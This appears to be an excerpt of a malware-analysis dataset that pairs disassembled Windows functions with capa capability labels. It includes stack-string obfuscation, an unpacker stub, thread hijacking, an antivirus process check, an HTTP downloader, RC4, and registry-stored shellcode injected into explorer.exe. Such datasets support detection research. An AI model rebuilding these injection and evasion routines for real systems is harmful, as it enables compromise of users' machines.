joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000ab60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x48
call fcn.1800098bc
test rax, rax
je 0x18000abbb
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x23], 0x65726f46
mov dword [rsp + 0x2f], 0x776f646e
mov dword [rsp + 0x2a], 0x57646e75
mov word [rsp + 0x20], 0x6553
mov word [rsp + 0x27], 0x7267
mov byte [rsp + 0x22], 0x74
mov byte [rsp + 0x33], 0
mov byte [rsp + 0x2e], 0x69
mov byte [rsp + 0x29], 0x6f
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x48
ret
add rsp, 0x48
ret

Function at 0x18000abc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x38
call fcn.1800098bc
test rax, rax
je 0x18000ac07
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x21], 0x69577465
mov dword [rsp + 0x28], 0x736f5077
mov word [rsp + 0x25], 0x646e
mov byte [rsp + 0x20], 0x53
mov byte [rsp + 0x2c], 0
mov byte [rsp + 0x27], 0x6f
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x38
ret
add rsp, 0x38
ret

Function at 0x18000b6e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x148
cmp edx, 1
jne 0x18000b7ad
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call fcn.180009bb8
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x26], 0x75732074
mov dword [rsp + 0x2c], 0x74726f
mov dword [rsp + 0x21], 0x6174736e
mov word [rsp + 0x2a], 0x7070
mov byte [rsp + 0x20], 0x69
mov byte [rsp + 0x25], 0x6e
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
jne 0x18000b7e1
lea rdx, [sym.gphelper.dll_u4u3s2]
lea rcx, [0x18006d0b0]
call fcn.18000c06c
test eax, eax
je 0x18000b7e1
lea rdx, [sym.gphelper.dll_pu2wus]
lea rcx, [0x18006d0a0]
call fcn.18000c06c
test eax, eax
je 0x18000b7e1
lea rdx, [sym.gphelper.dll_osgggl]
lea rcx, [0x18006d120]
call fcn.18000c06c
test eax, eax
je 0x18000b7e1
lea rdx, [sym.gphelper.dll_ufc29s]
lea rcx, [0x18006d0e8]
call fcn.18000c06c
mov eax, 1
add rsp, 0x148
ret
test edx, edx
jne 0x18000b7e1
lea rcx, [0x18006d0b0]
call fcn.18000c2bc
lea rcx, [0x18006d0a0]
call fcn.18000c2bc
lea rcx, [0x18006d120]
call fcn.18000c2bc
lea rcx, [0x18006d0e8]
call fcn.18000c2bc
mov eax, 1
add rsp, 0x148
ret
Function at 0x18000bdc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x30
mov rsi, r9
mov r14, r8
mov r15d, edx
mov r12, rcx
xor ebx, ebx
call fcn.1800098bc
mov rdi, rax
test rax, rax
je 0x18000997f
lea rdx, [rbp - 0x10]
mov rcx, rax
mov word [rbp - 4], 0x7845
mov byte [rbp - 2], bl
mov dword [rbp - 9], 0x6f6f4874
mov dword [rbp - 0xd], 0x78654e6c
mov word [rbp - 0xf], 0x6c61
mov byte [rbp - 5], 0x6b
mov byte [rbp - 0x10], 0x43
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180009976
mov r9, rsi
mov r8, r14
mov edx, r15d
mov rcx, r12
call rax
mov rbx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r15
pop r14
pop rbp
ret
mov r9, r8
mov r8, rdx
mov edx, ecx
xor ecx, ecx
jmp 0x1800098f4
Function at 0x1406c3df0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1406c3dfd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1406c3e0d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1406c3df5
lea eax, [rcx + 1]
jmp 0x1406c3e1b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1406c3e2e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1406c3e14
sub eax, 3
jb 0x1406c3e4e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1406c3e9d
sar eax, 1
movsxd rbp, eax
jb 0x1406c3e84
jmp 0x1406c3e5c
add ebx, ebx
jne 0x1406c3e5a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1406c3e84
inc ecx
add ebx, ebx
jne 0x1406c3e6a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1406c3e84
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1406c3e7d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1406c3e6c
add ecx, 2
jmp 0x1406c3e89
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1406c3db2
jmp 0x1406c3dfd
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
sub rsp, 0x28
lea rdi, [rsi + 0x6c0000]
mov eax, dword [rdi]
or eax, eax
je 0x1406c3f09
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x6c4554]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1406c3ead
jns 0x1406c3ee2
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1406c3eec
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1406c3f03
mov qword [rbx], rax
add rbx, 8
jmp 0x1406c3ecd
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1406c3f4d
cmp al, 0xef
ja 0x1406c3f35
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1406c3f15
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x1406c3f24
mov eax, dword [rdi]
add rdi, 4
jmp 0x1406c3f24
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x227]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1406c3fa1
sub rsp, 0xffffffffffffff80
jmp 0x140064fcc
Function at 0x1400026d0
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x400]
sub rsp, 0x500
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3f0], rax
xor esi, esi
mov qword [rsp + 0x50], 0x10001f
xorps xmm0, xmm0
mov qword [rsp + 0x20], rsi
mov rdi, rdx
mov qword [rsp + 0x28], rsi
mov rbx, rcx
mov qword [rsp + 0x30], rsi
xor edx, edx
mov qword [rsp + 0x38], rsi
lea rcx, [rbp + 0xc0]
mov qword [rsp + 0x40], rsi
mov r8d, 0x100
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], rsi
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
mov dword [rbp + 0x20], esi
mov qword [rbp + 0x24], rsi
mov qword [rbp + 0x2c], rsi
mov qword [rbp + 0x34], rsi
mov dword [rbp + 0x3c], esi
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
lea rcx, [rbp + 0x220]
xor edx, edx
mov r8d, 0x1a0
movups xmmword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
mov qword [rbp + 0x3c0], rsi
mov qword [rbp + 0x3c8], rsi
mov qword [rbp + 0x3d0], rsi
mov qword [rbp + 0x3d8], rsi
mov qword [rbp + 0x3e0], rsi
mov qword [rbp + 0x3e8], rsi
call qword [sym.imp.KERNEL32.dll_SuspendThread]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140002888
lea rcx, str._t____GetThreadContext_Failed_With_Error_:__d__n
call fcn.140002350
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400023b0
xor eax, eax
jmp 0x1400028d7
lea rdx, [rsp + 0x20]
mov qword [rbp + 0x18], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1400028bb
lea rcx, str._t____SetThreadContext_Failed_With_Error_:__d__n
call fcn.140002350
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400023b0
xor eax, eax
jmp 0x1400028d7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
mov rcx, qword [rbp + 0x3f0]
xor rcx, rsp
call fcn.140002f50
mov rbx, qword [rsp + 0x530]
add rsp, 0x500
pop rdi
pop rsi
pop rbp
ret
Function at 0x140003930
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000397a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000397a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000397a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000397a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000397a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000397c
xor al, al
add rsp, 0x28
ret
Function at 0x180002a10
Capabilities:
Enumerate processes

Disassembly:
push rbx
sub rsp, 0x150
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180002a90
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x12c
call fcn.180017870
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x180002a87
nop dword [rax]
lea rdx, str.360Tray.exe
lea rcx, [rsp + 0x4c]
call fcn.1800201ac
mov rcx, rbx
test eax, eax
je 0x180002a9b
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180002a60
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x150
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x150
pop rbx
ret

Function at 0x180002ab0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x430
mov rdi, rdx
mov dword [rsp + 0x450], 1
mov rbx, rcx
mov dword [rsp + 0x20], 0
xor edx, edx
lea rcx, str.RookIE_1.0
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x180002bbc
mov qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x4000000
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x180002bb3
lea rdx, [0x180049cb0]
mov rcx, rdi
call fcn.18001bba0
mov rdi, rax
test rax, rax
je 0x180002baa
lea r9, [rsp + 0x450]
mov r8d, 0x400
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x180002ba2
mov eax, dword [rsp + 0x450]
test eax, eax
je 0x180002ba2
mov r8d, eax
lea rcx, [rsp + 0x30]
mov r9, rdi
mov edx, 1
call fcn.18001fe20
lea r9, [rsp + 0x450]
mov r8d, 0x400
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x180002b62
mov rcx, rdi
call fcn.18001c2b0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x180002be0
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov r14, rcx
mov r15, rdx
mov ecx, pe_nt_image_headers64
call fcn.180015010
xor edx, edx
mov r8d, 0xff
mov rbx, rax
lea rcx, [rax + 1]
call fcn.180017870
xor r10d, r10d
mov r8, rbx
mov eax, r10d
nop word [rax + rax]
mov byte [r8], al
lea r8, [r8 + 1]
inc eax
cmp eax, 0x100
jl 0x180002c30
mov r9d, r10d
mov r11, rbx
mov rdi, r10
mov esi, pe_nt_image_headers64
nop
mov r8, qword [r15]
xor edx, edx
mov rcx, qword [r15 + 8]
mov rax, rdi
movzx ebp, byte [r11]
sub rcx, r8
div rcx
movzx eax, byte [rdx + r8]
add r9d, eax
add r9d, ebp
and r9d, 0x800000ff
jge 0x180002c87
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rcx, r9d
inc rdi
movzx eax, byte [rcx + rbx]
mov byte [r11], al
inc r11
mov byte [rcx + rbx], bpl
sub rsi, 1
jne 0x180002c50
mov rax, qword [r14 + 8]
mov edx, r10d
mov rdi, r10
cmp rax, qword [r14]
je 0x180002d16
lea eax, [r10 + 1]
and eax, 0x800000ff
jge 0x180002cc4
dec eax
or eax, 0xffffff00
inc eax
movsxd r10, eax
movzx r11d, byte [r10 + rbx]
add edx, r11d
and edx, 0x800000ff
jge 0x180002ce1
dec edx
or edx, 0xffffff00
inc edx
movsxd rcx, edx
movzx eax, byte [rcx + rbx]
mov byte [r10 + rbx], al
mov byte [rcx + rbx], r11b
movzx ecx, byte [r10 + rbx]
mov r9, qword [r14]
add rcx, r11
movzx eax, cl
movzx r8d, byte [rax + rbx]
xor byte [r9 + rdi], r8b
inc rdi
mov rax, qword [r14 + 8]
sub rax, qword [r14]
cmp rdi, rax
jb 0x180002cb0
test rbx, rbx
je 0x180002d28
mov edx, pe_nt_image_headers64
mov rcx, rbx
call fcn.180015008
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x180002d50
Capabilities:
Find taskbar

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
lea rdx, str.Hello_World__n
movzx ebp, ax
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, [0x180049c2f]
lea rcx, str.Shell_TrayWnd
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Hello_World__n
mov rdi, rax
lea rcx, [0x1800537e0]
call fcn.180008bd0
mov ebx, 0x641
mov esi, 0xa
nop word [rax + rax]
xor r9d, r9d
mov r8, rbx
mov edx, 0x4ea
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageA]
mov r9, rbp
mov r8, rbx
mov edx, 0x4e9
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageA]
inc rbx
sub rsi, 1
jne 0x180002ef0
lea rdx, [0x180049d00]
lea rcx, [0x1800537e0]
call fcn.180008bd0
lea rdx, str.Hello_World__n
lea rcx, [0x1800537e0]
call fcn.180008bd0
xor r9d, r9d
lea r8d, [rsi + 5]
mov edx, 0x312
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.USER32.dll_PostMessageA]
Function at 0x180002f80
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x1400
call fcn.1800158a0
sub rsp, rax
mov rdi, rcx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
movups xmm0, xmmword [str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
movups xmmword [rsp + 0x28], xmm0
movups xmm1, xmmword [0x180049d18]
movups xmmword [rsp + 0x38], xmm1
movups xmm0, xmmword [0x180049d28]
movups xmmword [rsp + 0x48], xmm0
movsd xmm1, qword [0x180049d38]
movsd qword [rsp + 0x58], xmm1
mov eax, dword [0x180049d40]
mov dword [rsp + 0x60], eax
movzx eax, word [0x180049d44]
mov word [rsp + 0x64], ax
movzx eax, byte [0x180049d46]
mov byte [rsp + 0x66], al
mov qword [rdi], rcx
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], 0xf
mov byte [rdi], cl
mov ebx, 1
mov dword [rsp + 0x20], ebx
call fcn.18001404c
mov dword [rsp + 0x13f4], 0xffffffff
mov dword [rsp + 0x74], eax
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, ebx
mov dword [rsp + rbx*4 + 0x74], eax
inc rbx
cmp rbx, 0x270
jb 0x180003030
mov dword [rsp + 0x70], 0x270
mov ebx, 8
nop dword [rax]
lea rcx, [rsp + 0x70]
call fcn.18000bfc0
mov r8d, eax
mov eax, 0x8421085
mul r8d
mov ecx, r8d
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 5
cmp ecx, 0x4210842
jae 0x180003060
mov eax, 0x8421085
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x3e
sub r8d, eax
movsxd rax, r8d
movzx r9d, byte [rsp + rax + 0x28]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x1800030d8
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x1800030cd
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1800030e0
mov rcx, rdi
call fcn.1800096a0
sub rbx, 1
jne 0x180003060
mov rax, rdi
mov rbx, qword [rsp + 0x1418]
add rsp, 0x1400
pop rdi
ret

Function at 0x1800031f0
Capabilities:
Get token membership

Disassembly:
push rbx
sub rsp, 0x60
xor ebx, ebx
mov dword [rsp + 0x78], 0
lea rax, [rsp + 0x80]
mov word [rsp + 0x7c], 0x500
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x78]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x180003277
mov rdx, qword [rsp + 0x80]
lea r8, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rsp + 0x70]
test eax, eax
cmove ecx, ebx
mov dword [rsp + 0x70], ecx
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x70], 1
sete al
add rsp, 0x60
pop rbx
ret
Function at 0x1800033d0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x188
lea rax, [rsp + 0x198]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1800035cc
mov rcx, qword [rsp + 0x198]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x28], rax
lea rdx, str.qweasd321zxc
mov qword [rsp + 0x180], rbp
xor r9d, r9d
xor ebp, ebp
xor r8d, r8d
mov dword [rsp + 0x190], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1800035c4
mov ecx, dword [rsp + 0x190]
mov qword [rsp + 0x178], rsi
call fcn.180020f94
mov rcx, qword [rsp + 0x198]
lea rdx, str.qweasd321zxc
mov rsi, rax
xor r9d, r9d
lea rax, [rsp + 0x190]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1800035bc
mov qword [rsp + 0x1a0], rbx
lea ecx, [rbp + 2]
xor edx, edx
mov qword [rsp + 0x170], rdi
mov dword [rsp + 0x40], 0x130
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1800034ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbp + 2]
mov ebx, eax
call fcn.18001bccc
mov rcx, rax
lea rdx, str.Failed_to_create_process_snapshot:__d_n
mov r8d, ebx
call fcn.180001280
mov edi, ebp
jmp 0x180003537
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov edi, ebp
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x18000352e
lea rdx, [rsp + 0x6c]
lea rcx, str.explorer.exe
call fcn.180039ba0
test eax, eax
je 0x18000352a
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180003501
jmp 0x18000352e
mov edi, dword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rsp + 0x190]
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsp + 0x190]
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], rbp
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rbp
mov r9, rbx
mov dword [rsp + 0x28], ebp
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, qword [rsp + 0x170]
mov rbx, qword [rsp + 0x1a0]
mov rsi, qword [rsp + 0x178]
mov rbp, qword [rsp + 0x180]
add rsp, 0x188
ret